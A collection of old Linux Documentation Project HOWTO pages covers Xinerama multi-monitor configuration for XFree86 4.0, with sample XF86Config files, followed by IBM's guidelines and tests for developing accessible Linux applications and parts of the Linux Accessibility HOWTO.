This Howto assumes that you know how to edit text files, do basic video card configuration for X Window, add and remove hardware from your system, start and stop system services, and follow simple instructions. If feel you will have trouble with any of these things, please seek help. I am not responsible if you damage any of your stuff.


Using the Xinerama Extensions to MultiHead XFree86 V. 4.0+: Planning

 Next Previous Contents

2. Planning

Planning a Xinerama setup is pretty straight forward. There as essentially three things you need to take into account, screen resolution, color depth, and screen layout.

2.1 What you need

You will need at least 2 graphics cards (a dual headed one should work, too) and two monitors, an operating system on which XFree runs (for instance Linux or Solaris) and XFree86 version 4.0. I assume your setup works, and that your two video cards are supported by XFree86.

Unless you recently upgraded or installed linux you are probably running an older version of X. Verify that you are running version 4.0 or better by typing the following command:

papel:/home/nico/X/bin # X -version

You should now see something like this:

  XFree86 Version 4.0 / X Window System
  (protocol Version 11, revision 0, vendor release 6400)
  Release Date: 8 March 2000
         If the server is older than 6-12 months, or if your card is newer
         than the above date, look for a newer version before reporting
         problems.  (see http://www.XFree86.Org/FAQ)
  Operating System: Linux 2.3.46 i686 [ELF]
  Module Loader present

If the version is not 4.0 or higher ( first line ), you will need to upgrade. Use your distributions package manager to upgrade to version 4.0 or better or download it directly from XFree86 and install it.

ftp://ftp.xfree86.org/pub/XFree86/4.0/

or better use one of the mirrors found at

http://www.xfree86.org/4.0/ftp.html

After download the files install the new X with the Xinstall.sh shellscript. Please note, if you install X this way it is bypassing any package management your system has.

2.2 Design considerations

It is possible to have each physical screen in your Xinerama setup to have a different resolution. There are some advantages to this, I was able to use an old monitor which only operates at 640x480, and a bigger 17" at 1280x1024 in my setup. I have also heard of web developers and graphics designed who use one big "preview" screen and flank it with one or two smaller screens. I think this flexibility is one of the great things about the Xinerama extensions.

There are several UI issues which are specific to Xinerama with most current generation window managers (see the section on Window Managers ) do not address well. The most anoying is the poor handling of dead areas.

Window managers assume the display area is a rectangle equal in size to the heighth and width of your total desktop. If you use more than one display resolution in a Xinerama setup your desktop will be non-rectangular. This results in "dead areas", areas which do not exist on your display, but window manager interpret as "Empty". Many window managers will try to utilize this dead area for new windows. The result is windows which are inaccessable. As window managers become Xinerama aware and this problem will go away quickly.

Window managers also don't handle the concept of maximizing a window when you are running Xinerama. Usually what happens is it maximizes your window across all available screens. Having Netscape spread across 2 displays is generally not the best way to surf the net.

Unlike with screen resolotion, Xinerama limits your entire virtual screen to one color depth. If you were planning on pulling out a cheap video card for your second display you need to keep this in mind. If your old video card only supports 8 bit color you might get a bigger display but most newer programs look lousy in 256 colors.

2.3 Layout

Layout decisions are fairly simple, you just need to decide how you want to physically lay out your monitors. Most people will simply place their monitors in a row and view their desktop as one giant monitor. It is also possible to overlap displays, or place them in more complex layouts. Keep in mind though what I said above about window managers expecting rectangular displays.


Using the Xinerama Extensions to MultiHead XFree86 V. 4.0+: Video Card set up.

 Next Previous Contents

3. Video Card set up.

This is a good time to back up your existing config file

I did it like this:

root# > cp /etc/X11/XF86Config /etc/X11/XFree86Config.working

Before we start the multihead portion of this process you need to have ALL of your existing cards working properly with the display they will have in the final configuration. If you haven't already, configure and install each different video card/ monitor combination you are going to have in your final setup. If you have several identical video cards you can get away with configuring one and copying the configuration for the other cards.

Note, it is possible configure and test your video cards without physically swapping them. If you use the technique in the scan PCI Bus Section below and specify the bus ID.

After you have each card set up, back up or print it's config file as you will need it later. Here's how I did it:

root# > cp /etc/X11/XF86Config /etc/X11/XFree86Config.Matrox

On Some setups the XF86Config file is stored in /etc so you would do it like this:

root# > cp /etc/XF86Config /etc/XFree86Config.Matrox

If your video cards are identical you can probably get away with just one copy. However don't skip this step, If all else fails this will be you backup config file incase my instructions lead you astray.

Once you have all of your displays configured you are almost there...


Using the Xinerama Extensions to MultiHead XFree86 V. 4.0+: Scan the PCI Bus

 Next Previous Contents

4. Scan the PCI Bus

This is a good time to put all of your video cards into your system and set up your monitors. Set everything up the way you want it when you are done, as you will have to repeat steps later if you change things.

This next step needs to be done from the console with-out X running. If you are in X, exit now. If your system uses a display manager such as xdm or gdm exit you need to stop that service. If you need to stop a display manager from RedHat the easiest way is like this:

root# > telinit 3

for Debian, Storm or Corel :

root# > /etc/init.d/xdm stop

If neither of these methods work you, reboot your computer and start up in single user mode.

In a multi-head setup you need to explicitly identify each video card in your config file. To do this you need to use the PCI Bus Identifier your system assigns the card. At this time, all video cards need to be in your system.

To find out what your PCI bus IDs are:

root# > XFree86 -scanpci

X will then output a code for each device on your PCI bus.

(0:0:0) Intel 82443BX Host
(0:1:0) Intel 82443BX AGP
(0:7:0) Intel 82371AB PIIX4 ISA
(0:7:1) Intel 82371AB PIIX4 IDE
(0:7:2) Intel 82371AB PIIX4 USB
(0:7:3) Intel 82371AB PIIX4 ACPI
(0:9:0) Adaptec 2940U/UW
(0:11:0) 3COM 3C900 10b Combo
(0:12:0) Matrox unknown card (0x2007) using a Matrox MGA 2164W
(1:0:0) unknown card (0x1092/0x0152) using a Texas Instruments Permedia 2

PCI cards and devices are identified with a leading 0, AGP cards with a 1. In my case I have a Matrox Millenium II (0:12:0) and a Diamond FireGL(1:0:0). Find your video cards and write down the numbers associated with them. It is important that you know which number goes with which card.


Using the Xinerama Extensions to MultiHead XFree86 V. 4.0+: Editing your XConfig File

 Next Previous Contents

5. Editing your XConfig File

If I haven't lost you so far, we are in the home stretch now. This section is pretty confusiing so I suggest you also read the manpage for XF86Config, or at least skim it. Do it now... I'll wait.

root# > man XF86Config

5.1 Adding all of your video cards

Open your current XF86Config file and scroll down to the Monitor Section. You want to copy the following sections from the device specific XF86Config backup files you created above : Monitor, Device, Screen. These sections should go in your XF86Config file after the coresponding section in the file you have open. As you copy each section make certain that the Identifier is unique for each section, you will reference these Identifiers later.

Clear as Mud Right? You should now have a Monitor Section, a Device Section, and a Screen Section for EACH video card/monitor combination, each Section should have a unique Identifier. If you are still confused reread the prior paragraph. If that doesn't help, look at the sample XF86Config I have included at the end. You did read the manpage right?

5.2 Identifying Your Video Cards

Now you need to add the coresponding PCI BusID as an option at the end of each Device Section. The entry should look like this: BusID "PCI:0:12:0", substituting the three numbers with the PCI bus ID which identifies YOUR video card you should have this ID from the PCI Bus Section . Here is a sample Device Section for one of my video cards.

Section "Device"
    Identifier  "FireGL"
    Driver      "glint"
    BusID      "PCI:1:0:0"
EndSection

Please note, even AGP cards use this layout.

5.3 Configuring the ServerLayout Section

Now you need to edit the ServerLayout Section at the end of the XF86Config File. The ServerLayour Section is exactally that, it tells you what Screens to use, how to lay them out logically, and what input devices to assign to them. Your current layout is for one screen, keyboard, and mouse. For each Screen section you have created about you need reference in this section for them to appear in your display.

Using the existing screen reference as a starting point, create additional references for your other Screen Sections. The reference looks like this:

Screen "Screen 2" Relationship "Screen 1"
This defines the relationship between the "Screen 2" and "Screen 1". Valid Relationships include: RightOf, Below, Above, LeftOf, Absolute X Y, Relative. Use of the first four relationships is pretty obvious as illustrated in my sample:
Section "ServerLayout"
    Identifier  "Simple Layout"
    Screen "Screen 2"
    Screen "Screen 1" RightOf "Screen 2"
    InputDevice "Mouse1" "CorePointer"
    InputDevice "Keyboard1" "CoreKeyboard"
EndSection

I have other examples in the sample XF86Config section.


Using the Xinerama Extensions to MultiHead XFree86 V. 4.0+: Testing Your Configuration

 Next Previous Contents

6. Testing Your Configuration

Once you have completed changing your XF86Config file, save it and your can now test your configuration :

root# > startx -- +xinerama

Hopefully you can now enjoy X with multiple partners... er that is, Monitors.


Using the Xinerama Extensions to MultiHead XFree86 V. 4.0+: Editing your startup files

 Next Previous Contents

7. Editing your startup files

If this worked you will probably want to change your X configuration to start X this way automatically. There are lots of ways to do this and there are probably better ways than what I've shown below. Here are the methods I used for changing startx and gdm.

If you run X from the command prompt add the +xinerama option to the startx script.

root# > vi /usr/X11R6/bin/startx

At the very end of the file the script starts X with the command xinit. Add the +xinerama option to the very end of that line.

To Configure gdm to start with the xinerama extentions look for [servers] section at the bottom of /etc/X11/gdm/gdm.conf. Add the +xinerama extension to the end of the line that starts with 0=. It should look like this :

0=/usr/bin/X11/X +xinerama

I have never set up kdm, or xdm for Xinerama, but I got the following tip from Dalibor "dali@dali.net.nz".

Here's my changes to startup files for slackware 7.x
(i use KDM and x4.01)

edit /var/X11R6/lib/xdm/Xservers
add +xinerama to the end of last line
ie.
:0 local /usr/X11R6/bin/X +xinerama

It appears that KDM uses standard XFree xdm files, so this should work if you
use xdm as well


Using the Xinerama Extensions to MultiHead XFree86 V. 4.0+: Window Managers and Xinerama

 Next Previous Contents

8. Window Managers and Xinerama

As I mentioned above, a window manager does not need to be written to support Xinerama. However there are certain enhancements which window manager developers can do to make Xinerama users lives easier. Features which I thought were desireable include:

* Intelligent placement of windows. Window managers should not place windows in dead areas or across the borders of two heads. New windows should be placed in the current desktop.

* Maximizing windows should maximize the window to the current head only.

* Window Movements should have edge resistance between heads (Much like they have resistance to other windows).

* Dialogs and informative messages should not pop up Between Heads.

I searched the mailing lists, FAQs, and emailed the developers of most of the major window managers to see if they were working on any Xinerama related extensions. The Window Managers/ Desktop environments I reviewed included Blackbox, Enlightenment, KDE, WindowMaker, and XFCE. Enlightenment and Sawfish were the only two which I found significant enhancements for Xinerama. I have detailed what I discovered below.

8.1 Enlightenment

From their news page: Sun Mar 26 2000

E with Xinerama support

We just got done adding real xinerama support to E this weekend. Now you have edge resistance moving windows between heads, windows will always pop up on the currently focused head (unless it wants to go someplace else by geom settings or you have it saved to go someplace else), maximize (unless you use "absolute" maximize) stays on the current head also. If you have xinerama and you run E out of CVS, test this and give us feedback.

8.2 Sawfish

From the Sawfish mailing list I have discovered that they are actively developing Xinerama support. Features which are currently in the development version include :

  * Preventing Windows from being mapped across heads
  * Preventing Windows from being mapped in dead spots
  * Edge resistance moving between heads
  * Centered and Random placement modes place windows on the current Head
I have not tested this functionality.


Using the Xinerama Extensions to MultiHead XFree86 V. 4.0+: Sample XF86Config Files

 Next Previous Contents

9. Sample XF86Config Files

My current XF86Config File :

Section "Module"
    Load        "dbe"   # Double buffer extension
    SubSection  "extmod"
      Option    "omit xfree86-dga"   # don't initialise the DGA extension
    EndSubSection
    Load        "type1"
    Load        "freetype"
# This loads the GLX module
#    Load       "glx"
EndSection

Section "Files"
    RgbPath     "/usr/X11R6/lib/X11/rgb"
    FontPath   "/usr/X11R6/lib/X11/fonts/local/"
    FontPath   "/usr/X11R6/lib/X11/fonts/misc/"
    FontPath   "/usr/X11R6/lib/X11/fonts/75dpi/:unscaled"
    FontPath   "/usr/X11R6/lib/X11/fonts/100dpi/:unscaled"
    FontPath   "/usr/X11R6/lib/X11/fonts/Type1/"
    FontPath   "/usr/X11R6/lib/X11/fonts/Speedo/"
    FontPath   "/usr/X11R6/lib/X11/fonts/75dpi/"
    FontPath   "/usr/X11R6/lib/X11/fonts/100dpi/"
# The module search path.  The default path is shown here.
#    ModulePath "/usr/X11R6/lib/modules"
EndSection

Section "ServerFlags"

EndSection

Section "InputDevice"
    Identifier  "Keyboard1"
    Driver      "Keyboard"
    Option "AutoRepeat" "500 30"
    Option "XkbRules"   "xfree86"
    Option "XkbModel"   "pc101"
    Option "XkbLayout"  "us"
EndSection

Section "InputDevice"
    Identifier  "Mouse1"
    Driver      "mouse"
    Option "Protocol"    "PS/2"
    Option "Device"      "/dev/psaux"
EndSection

Section "Monitor"
    Identifier  "Mini"
    HorizSync   31.5
    VertRefresh 50-90
EndSection

Section "Monitor"
    Identifier  "Impression"
    HorizSync   31.5 - 82.0
    VertRefresh 50-100
EndSection

# Video Card #1, Matrox Millenium II PCI Video Card
Section "Device"
    Identifier  "Matrox"
    Driver      "mga"
    VideoRam 8192
    BusID      "PCI:0:12:0"
EndSection

# Video Card # 2, Fire GL 1000 AGP video card.
Section "Device"
    Identifier  "FireGL"
    Driver      "glint"
    #VideoRam    8192
    BusID      "PCI:1:0:0"

EndSection

Section "Screen"
    Identifier  "Screen 2"
    Device      "FireGL"
    Monitor     "Impression"
    DefaultDepth 16

    Subsection "Display"
        Depth       16
        Modes       "1280x1024" "640x480"
        ViewPort    0 0
    EndSubsection
EndSection

# My Miniature monitor,  notice that I used the virtual option so it is
#   the same heighth as the larger monitor,  this is not necessary.
Section "Screen"
    Identifier  "Screen 1"
    Device      "Matrox"
    Monitor     "Mini"
    DefaultDepth 16

    Subsection "Display"
        Depth       16
        Modes       "640x480"
        ViewPort    0 0
        Virtual     640 1024
    EndSubsection
EndSection

Section "ServerLayout"
    Identifier  "Simple Layout"
    Screen "Screen 2"
    Screen "Screen 1" Rightof "Screen 2"
    InputDevice "Mouse1" "CorePointer"
    InputDevice "Keyboard1" "CoreKeyboard"
EndSection

An alternate ServerLayout Section with one Monitor above the other.

Section "ServerLayout"
    Identifier  "Simple Layout"
    Screen "Screen 2"
    Screen "Screen 1" Below "Screen 2"
    InputDevice "Mouse1" "CorePointer"
    InputDevice "Keyboard1" "CoreKeyboard"
EndSection

Screens can overlap too. In this configuration I make the two monitors overlap by 80 pixels..

Section "ServerLayout"
    Identifier  "Simple Layout"
    Screen "Screen 2"
    Screen "Screen 1" Relative "Screen 2" 1200 0
    InputDevice "Mouse1" "CorePointer"
    InputDevice "Keyboard1" "CoreKeyboard"
EndSection


Using the Xinerama Extensions to MultiHead XFree86 V. 4.0+: Credits

 Next Previous Contents

10. Credits

Much of the introduction and first sections are based loosely on a document submitted to me from Nico Schottelius nicos@pcsystems.de>. As mentioned, KDM and xdm configuration included based on an email from Dalibor dali@dali.net.nz>.

Also thanks to the many people who have emailed me with spelling tips, and suggestions. I have incorporated them whenever I could.


How to Develop Accessible Linux Applications

Sharon Snider

Copyright © 2002 by IBM Corporation

v1.1, 2002-05-03

Revision History
Revision v1.1 | 2002-05-03 | Revised by: sds
Converted to DocBook XML and updated broken links.
Revision v1.0 | 2002-01-28 | Revised by: sds
Wrote and converted to DocBook SGML.

This document provides Linux software developers with guidelines and test cases for developing accessible Linux applications.

Table of Contents
1. Introduction
2. Developing Accessible Applications
2.1. Principles for Developing Accessible Applications
3. Guidelines for Developing Accessible Applications
3.1. Keyboard Navigation
3.2. Mouse Interaction
3.3. Graphical Elements and Objects
3.4. Fonts and Text
3.5. Color and High Contrast Settings
3.6. Magnification
3.7. Audio
3.8. Animation
3.9. Focus
3.10. Visual Focus Indicator
3.11. Timing
3.12. Documentation
4. Additional Resources:
Next
Introduction


Introduction

How to Develop Accessible Linux Applications
Prev Next

1. Introduction

This document provides developers with the information necessary to assess their applications for accessibility. Some of these tests should be performed using various types of adaptive technologies.

Please send any comments, or contributions via e-mail to Sharon Snider. This document will be updated regularly with new contributions and suggestions.

Prev | Home | Next
How to Develop Accessible Linux Applications |  | Developing Accessible Applications


Developing Accessible Applications

How to Develop Accessible Linux Applications
Prev Next

2. Developing Accessible Applications

Some of the most important reasons for developing accessible software are:

  • Software should be accessible to as many users as possible.

  • Accessibility to new products benefits everyone. Information technology has provided many benefits to society. However, individuals with disabilities can not participate fully when the technology does not meet the needs of users with disabilities.

  • Compliance with worldwide regulations and standards such as Section 508 of the Rehabilitation Act, Americans with Disabilities Act and the World Wide Web Consortium's Web Accessibility Initiative.

2.1. Principles for Developing Accessible Applications

Developers need to consider the following needs of disabled users when developing an accessible application:

  • Choice of input methods. Support should be available for various types of input, such as, keyboard, mouse and adaptive technologies. Pay close attention to keyboard navigation.

  • Choice of output methods. Support should be available for various types of output, such as, visual display, audio, and print. The main focus is that text labels are provided for all user interface elements and objects, graphics, and icons.

  • Consistency and flexibility with the user's system configuration. In addition, include customization options so the user can select color, font, and layout of the work area.

Prev | Home | Next
Introduction |  | Guidelines for Developing Accessible Applications


Guidelines for Developing Accessible Applications

How to Develop Accessible Linux Applications
Prev Next

3. Guidelines for Developing Accessible Applications

The following sections contain guidelines and tests that developers can use to create more accessible applications. Use Pass, Fail, or Pending as a rating system for each item.

3.1. Keyboard Navigation

3.1.1. Guidelines

The following keyboard navigation settings and sequences can cause accessibility problems. You should confirm that:

  • Efficient keyboard access is provided to application features.

  • A logical keyboard navigation order has been implemented.

  • The correct tab order is used for controls that are dependent on check boxes, radio buttons, or toggle state.

  • Keyboard access does not override existing accessibility features.

  • The application provides more than one method to perform keyboard tasks whenever possible.

  • There are alternate key combinations whenever possible.

  • There are no awkward reaches for frequently performed keyboard operations.

  • The application does not use repetitive, simultaneous key presses.

  • The application provides keyboards equivalents for all mouse functions.

  • The application does not use any general navigation functions to trigger operations.

  • All the keyboard invoked menus, windows, and tool tips appear near the object they relate to.

3.1.2. Tests

Run the following keyboard tests without using the mouse for all actions. Using only the keyboard commands, move the focus through all menus in the application. You should verify that:

  • Context sensitive menus display correctly.

  • Any functions listed on the tool bar can be performed using the keyboard.

  • You can operate every control in the client area of the application and dialog boxes.

  • Text and objects within the application can be selected.

  • Any keyboard enhancements or shortcuts are working as designed.

3.2. Mouse Interaction

3.2.1. Guidelines

The following are mouse button actions and sequences that cause accessibility problems. You should confirm that:

  • There is no input dependent on mouse button two or three.

  • All mouse operations can be canceled.

  • There is visual feedback throughout a drag and drop operation.

3.3. Graphical Elements and Objects

3.3.1. Guidelines

The following are graphical element attributes, object attributes, and naming conventions that are needed for accessibility. You should confirm that:

  • There are no hard-coded graphical attributes, such as, lines, borders, or shadow thickness.

  • There are descriptive names for all application program interface (API) objects.

  • All multi-color graphical elements can be adjusted to monochrome only, whenever possible.

  • All interactive graphical user interface (GUI) elements are easily identifiable.

  • An option to hide non-essential graphics has been provided.

3.3.2. Tests

Test the application using a screen reader and verify that:

  • Labels and text are being read correctly, including menus and tool bars.

  • Object information is read correctly.

3.4. Fonts and Text

3.4.1. Guidelines

The following are font and text styles, attributes, and labels that cause accessibility problems. You should confirm that:

  • All the font styles and sizes are not hard-coded.

  • An option to turn off graphical backdrops has been provided.

  • All label objects have names that make sense when taken out of context.

  • There are no label names that have been used more than once in the same window.

  • There is consistency with label positioning throughout the application.

  • When using static text as a label for a control, the label immediately precedes the control in tab order.

  • An alternative to what you see is what you get (WYSIWYG) is provided.

3.4.2. Tests

Run the following tests to confirm that font size and settings are maintained.

  • Change the font in the application and confirm that the changes apply only to the application and not the desktop environment.

  • Change colors within the application and confirm that the changes apply only to the application and not the desktop environment.

  • Run a screen magnification program and test the font, color, and size of text when being viewed through a magnifier.

3.5. Color and High Contrast Settings

3.5.1. Guidelines

The following are color and high contrast guidelines for the application environment. You should confirm that:

  • The application color is not hard-coded and can be changed.

  • Color is used as an enhancement and not the only way to convey information.

  • The application supports various high contrast settings (For example, black on white, or white on black).

  • The application is not dependent on a particular high contrast setting.

3.5.2. Tests

Run the following tests and verify that:

  • All information is available by printing a screen shot to a black and white printer.

  • All information is conveyed correctly when settings are set to only black and white or high contrast.

  • At least three high contrast schemes are available, and they function correctly.

  • High contrast settings in the desktop environment are respected by the application (For example, the window bar and font colors that are set by the desktop environment do not change).

3.6. Magnification

3.6.1. Guidelines

The following magnification functions should be built into the application. You should confirm that:

  • The application provides the ability to magnify the work area.

  • The application has the option to scale the work area.

  • The applications not adversely effected by changing the magnification settings.

3.7. Audio

3.7.1. Guidelines

The following are guidelines for audio output. Using a screen reader, confirm that:

  • The user can hear all required audio output.

  • Audio is not the only means that the information is conveyed.

  • The user can configure frequency and volume on all audio alerts and sounds.

3.7.2. Tests

The application should have an option to show audio alerts and sounds visually. Test that the audio is working correctly with sound enabled. Verify that:

  • The application is working as designed when the user performs an action that generates an audio alert.

  • The application works correctly when increasing or decreasing the volume.

  • Warning messages and alerts can be heard correctly in a noisy work environment.

3.8. Animation

3.8.1. Guidelines

The following are guidelines for all animation that is included in the application. You should confirm that:

  • There are no blinking elements with a frequency greater then 2 Hertz (Hz) and lower then 55Hz.

  • There are no large areas that flash or blink.

3.8.2. Tests

Run the following tests on applications that include animation. You should verify that:

  • An option is available to stop or turn off animation.

  • When the animation is turned off it is working correctly.

3.9. Focus

3.9.1. Guidelines

Focus is determined by the location of the cursor as the user moves through the application or display panels. The following are guidelines for focus within the application. You should confirm that:

  • Focus starts at the most commonly used controls.

  • The current input focus is clearly displayed at all times.

  • The input focus is in the active display panel.

  • The appropriate feedback is provided when the user attempts to navigate past the end of a group of related objects.

  • The default audio alert is played when the user presses an inappropriate key.

3.10. Visual Focus Indicator

3.10.1. Guidelines

The visual focus indicator tells the user the position of the cursor and provides enough information, so the user understands what to do next. The following are guidelines for the visual focus indicator. You should confirm that:

  • There is sufficient audio information for the visual focus indicator, so the user can figure out what to do next.

  • Screen readers and Braille devices can confirm the current cursor position within the application and read the content of the visual focus indicator.

3.10.2. Tests

Test the following using a screen reader or Braille device. You should verify that:

  • When moving among objects the visual focus indicator is easy to identify.

  • Keyboard navigation through the application menus is clearly visible when the focus moves.

  • The screen reader or Braille device is tracking the visual focus indicator as you navigate using a keyboard.

  • When running a screen magnification program that the magnifier can track the visual focus indicator accurately as you navigate using the keyboard and mouse.

3.11. Timing

3.11.1. Guidelines

The following guidelines apply to timing options built-in to the application. You should confirm that:

  • There are no hard-coded timeouts or other time-based features.

  • There are no objects that display briefly and then hide information based on the movement of the mouse pointer.

3.11.2. Tests

Test the following for timing related to your application. You should verify that:

  • The user is notified before a message times out and is given the option to indicate that more time is needed.

  • An option is available to adjust the response time and confirm that it is working as designed.

3.12. Documentation

3.12.1. Guidelines

The following are guidelines for writing accessible documentation:

  • All documentation is in an accessible format (For example, HTML, or text).

  • Documentation is available on all accessibility features of the application.

  • State if the application does not support the standard keyboard access that is used by the operating system.

  • Identify if there are unique keyboard commands.

  • Identify and explain all accessibility features.

  • When documenting mouse actions, include the alternative keyboard action as well.

3.12.2. Tests

Run the following test to verify that the documentation is available and accessible.

  • Open a help file while in the application using a screen reader or Braille device and confirm the information is accessible, clear, and precise.

Prev | Home | Next
Developing Accessible Applications |  | Additional Resources:


Additional Resources:

How to Develop Accessible Linux Applications
Prev

4. Additional Resources:

The following Web sites provide checklists and testing information that is more specific to the various Linux development environments:

  • American Foundation for the Blind provides information on creating accessible applications at http://www.afb.org/.

  • GNOME Accessibility Project has written a guide specifically for application development in the GNOME 2.0 desktop. It includes information using their Accessibility Tool Kit (ATK). Additional information is available at http://developer.gnome.org/projects/gap/guide/gad/index.html.

  • IBM Accessibility Center provides links to a Java, Web, and Software accessibility checklist for application development. This site is located at http://www-3.ibm.com/able/guidelines.html.

  • Sun Accessibility provides accessibility information on designing accessible Java applications. More information is available at http://www.sun.com/access/developers/software.guide.html.

  • The Web Accessibility Initiative Web site includes guidelines, checklists, and techniques for developing accessible Web sites and applications. Additional information is located at http://www.w3.org/WAI/.

Prev | Home
Guidelines for Developing Accessible Applications |


Hearing Impaired

Linux Accessibility HOWTO
Prev Next

4. Hearing Impaired

For users who have hearing impairments the audio output must be conveyed visually on the screen. Most desktops provide visual audio alerts and warnings. In console mode the system can also be configured to provide visual bells. There is a "Visual Bells mini-HOWTO" written by Alessandro Rubini that provides the configuration details available at: http://www.ibiblio.org/pub/Linux/docs/HOWTO/mini/.

4.1. Assistive Technologies for the Hearing Impaired

The following is a list of assistive technologies for the hearing impaired:

4.1.1. Telecommunications Devices for the Deaf (TDD)

TDD allows for the user you to communicate over the telephone using the computer as a text terminal.

  • Zapata is a computer-based, high-density telephony project. The current version is available for download as source code on at: http://www.zapatatelephony.org/project.html.

4.1.2. Closed Captioning

Closed captioning provides text translation of spoken words to video display. Closed captioning can be used for distance learning, video-teleconferencing, audio from a CD-ROM, and other types of interactive technology.

  • Ccdecoder is a closed captioned, extended data services decoder for the bttv and video4linux based tv video cards: http://sourceforge.net/projects/ccdecoder/.

Prev | Home | Next
Visual Impairments |  | Physically Disabled


Linux Accessibility HOWTO

Michael De La Rue

Sharon Snider

v3.0, 2001

Revision History
Revision v3.0 | 2001-10-25 | Revised by: sds
Updated and converted to DocBook SGML.
Revision v2.11 | 1997-03-28 | Revised by: mdlr
Last Linuxdoc revision.

The Linux Accessibility HOWTO covers the use of adaptive technologies that are available for the Linux operating system, as well as the software applications and hardware devices that can be installed to make Linux accessible to users with disabilities. The information provided targets specific groups of individuals with similar disabilities.

Table of Contents
1. Introduction
1.1. Distribution Policy
2. The Linux Operating System
2.1. Assistive Technologies Available for Linux
2.2. Usability
3. Visual Impairments
3.1. Technologies for the Visually Impaired
4. Hearing Impaired
4.1. Assistive Technologies for the Hearing Impaired
5. Physically Disabled
5.1. Keyboard Navigation
5.2. Assistive Technologies for the Physically Disabled
5.3. Additional Resources
6. Cognitive, Language, and Other Impairments
6.1. Assistive Technologies for Cognitive, Language and Other Impairments
7. Developing Accessible Applications
8. Other Helpful Information
9. Acknowledgments
Next
Introduction


Introduction

Linux Accessibility HOWTO
Prev Next

1. Introduction

The purpose of this HOWTO is to introduce the tools, applications, and configuration utilities that are available to Linux users who are disabled. The information provided targets groups of individuals with the following disabilities:

  • Visually Impaired

  • Hearing Impaired

  • Physically Disabled

  • Cognitive, Language, and Other Impairments

Please send any comments, or contributions via e-mail to Sharon Snider. This document will be updated regularly with new contributions and suggestions.

1.1. Distribution Policy

The Access-HOWTO is copyrighted (c) 1996 by Michael De La Rue

The Access-HOWTO may be distributed, at your choice, under either the terms of the GNU Public License version 2 or later or the standard Linux Documentation Project (LDP) terms. These licenses should be available from the LDP Web site: http://www.linuxdoc.org/docs.html. Please note that since the LDP terms do not allow modification (other than translation), modified versions can be assumed to be distributed under the GPL.

ViaVoice® is a registered trademark of International Business Machines Corporation.

Prev | Home | Next
Linux Accessibility HOWTO |  | The Linux Operating System


The Linux Operating System

Linux Accessibility HOWTO
Prev Next

2. The Linux Operating System

The Linux operating system has many software applications and utilities that run in the non-graphical environment. The graphical user interface (GUI), which is often referred to as X Windows, is clearly separate from the underlying non-graphical, text-only environment. One major reason that a visually impaired individual can use Linux is that network connectivity is built in to the operating system and provides full access to the Internet from the non-graphical interface. All visible text on the screen can be translated using a screen reader and speech synthesizer.

Over the past few years many improvements have been made to the GUI, and many of the desktops now provide features and enhancements designed for accessibility. In the following sections you will find information on the tools, utilities, and applications that are available to assist users in configuring their desktop environment.

2.1. Assistive Technologies Available for Linux

Assistive technologies are computer hardware devices and software applications that provide individuals with impairments access to the information and applications on a computer. Although there are not many commercial applications available specifically for Linux accessibility, there are free software applications that can make the computer more accessible. Detailed information on assistive technologies that are available has been listed in this document based on the type of disability.

2.2. Usability

Linux has the advantage over Windows that a large majority of Linux software has been developed for the console. Although many programs are now being developed for the GUI, programs continue to be written for the non-graphical, text-based environment. Linux originated as a programmer's operating system and, for the physically disabled, this means that it is easy to build and customize programs to suit an individual's needs.

The windowing system used by Linux (X11) includes many programming tools that enable further modification and customization of the GUI. KDE and GNOME have included many accessibility and usability features in their latest releases and are continuing to test, upgrade, and enhance the graphical environment. The following are links to KDE and GNOME's accessibility and usability projects:

  • KDE Accessibility Project - http://accessibility.kde.org/.

  • GNOME Accessibility Project - http://developer.gnome.org/projects/gap/.

  • KDE Usability Project - http://usability.kde.org/.

  • GNOME Usability Project - http://developer.gnome.org/projects/gup/.

Prev | Home | Next
Introduction |  | Visual Impairments


Cognitive, Language, and Other Impairments

Linux Accessibility HOWTO
Prev Next

6. Cognitive, Language, and Other Impairments

Cognitive and language impairments include dyslexia and problems with; memory, comprehension, problem solving, and written language. For many individuals with cognitive and language disabilities, complex graphical displays and inconsistent use of words can make using the computer more difficult. A user with epilepsy can have a seizure from an application with blinking lights and animation. Most desktops now allow users to disable animation. Web browsers such as Mozilla and Netscape allow users to disable graphics. It is important to check the documentation for preferences that are available in the desktop environment you are using, as well as any applications that are used. This section discusses the tools that are available to aid users with these impairments:

6.1. Assistive Technologies for Cognitive, Language and Other Impairments

The following is a list of assistive technologies that can be helpful to users with cognitive, language, and other impairments:

6.1.1. Screen Readers and Speech Synthesis

Screen readers with speech synthesis enable the system to read on-screen information and text out loud to the user. This type of assistive technology can be particularly helpful to individuals who have dyslexia and other learning disabilities. Although there are no screen readers available for the GNOME desktop, screen reader applications are available for Linux in console mode that provide this functionality.

  • Emacspeak is a speech interface that will provide audio output for all text. The program works in terminal and console mode and requires a software or hardware speech synthesizer. The downloads and users manuals are available at: http://www.cs.cornell.edu/home/raman/emacspeak/.

  • The Trace Center provides information and downloads for various screen readers and speech synthesizers. More information is available at: http://www.trace.wisc.edu/world/computer_access/unix/unixshar.html.

6.1.2. Keyboard filters and Word Processing

Keyboard filters and word processing applications that have word prediction and spell checking utilities can be an excellent aid for users with learning and language impairments.

6.1.3. Speech Recognition

Speech recognition applications enables you to control the computer with your voice rather than having to type or write out the information.

  • CVoice Control is a speech recognition system that enables a user to connect spoken commands to UNIX commands. More information is available at: http://www.kiecza.de/daniel/linux/.

  • IBM ViaVoice Dictation for Linux allows the user to write documents using their voice rather then a keyboard and can read the information back to the user. More information is available at: http://www-4.ibm.com/software/speech/dev/.

  • Open Mind Speech is a development project for speech recognition tools and applications. The developers have established a mailing list for asking questions and obtaining information at: http://freespeech.sourceforge.net/.

  • XVoice enables continuous speech to text dictation for many applications. More information is available at: http://www.compapp.dcu.ie/~tdoris/Xvoice/.

Prev | Home | Next
Physically Disabled |  | Developing Accessible Applications


Physically Disabled

Linux Accessibility HOWTO
Prev Next

5. Physically Disabled

There are a wide range of physical disabilities that can impair a user's mobility, and many of these impairments need to be addressed on an individual basis. This section addresses impairments that apply to users who have difficulty using a mouse, pointing device, or keyboard.

5.1. Keyboard Navigation

There are features that are built into the Linux operating system that allow for additional keyboard configuration. In some of the X Windows desktops these settings can be changed from the control center. An application has also been developed for X Windows called AccessX and it provides a graphical user interface for configuring all the AccessX keyboard settings. These settings are:

  • StickyKeys enable the user to lock modifier keys (for example, control and shift) allowing single finger operations in place of multiple key combinations.

  • MouseKeys provide alternative keyboard sequences for cursor movement and mouse button operations.

  • SlowKeys requires the user to hold the key down for a specified period of time before the keystroke is accepted. This prevents keystrokes that are pressed by accident from being sent.

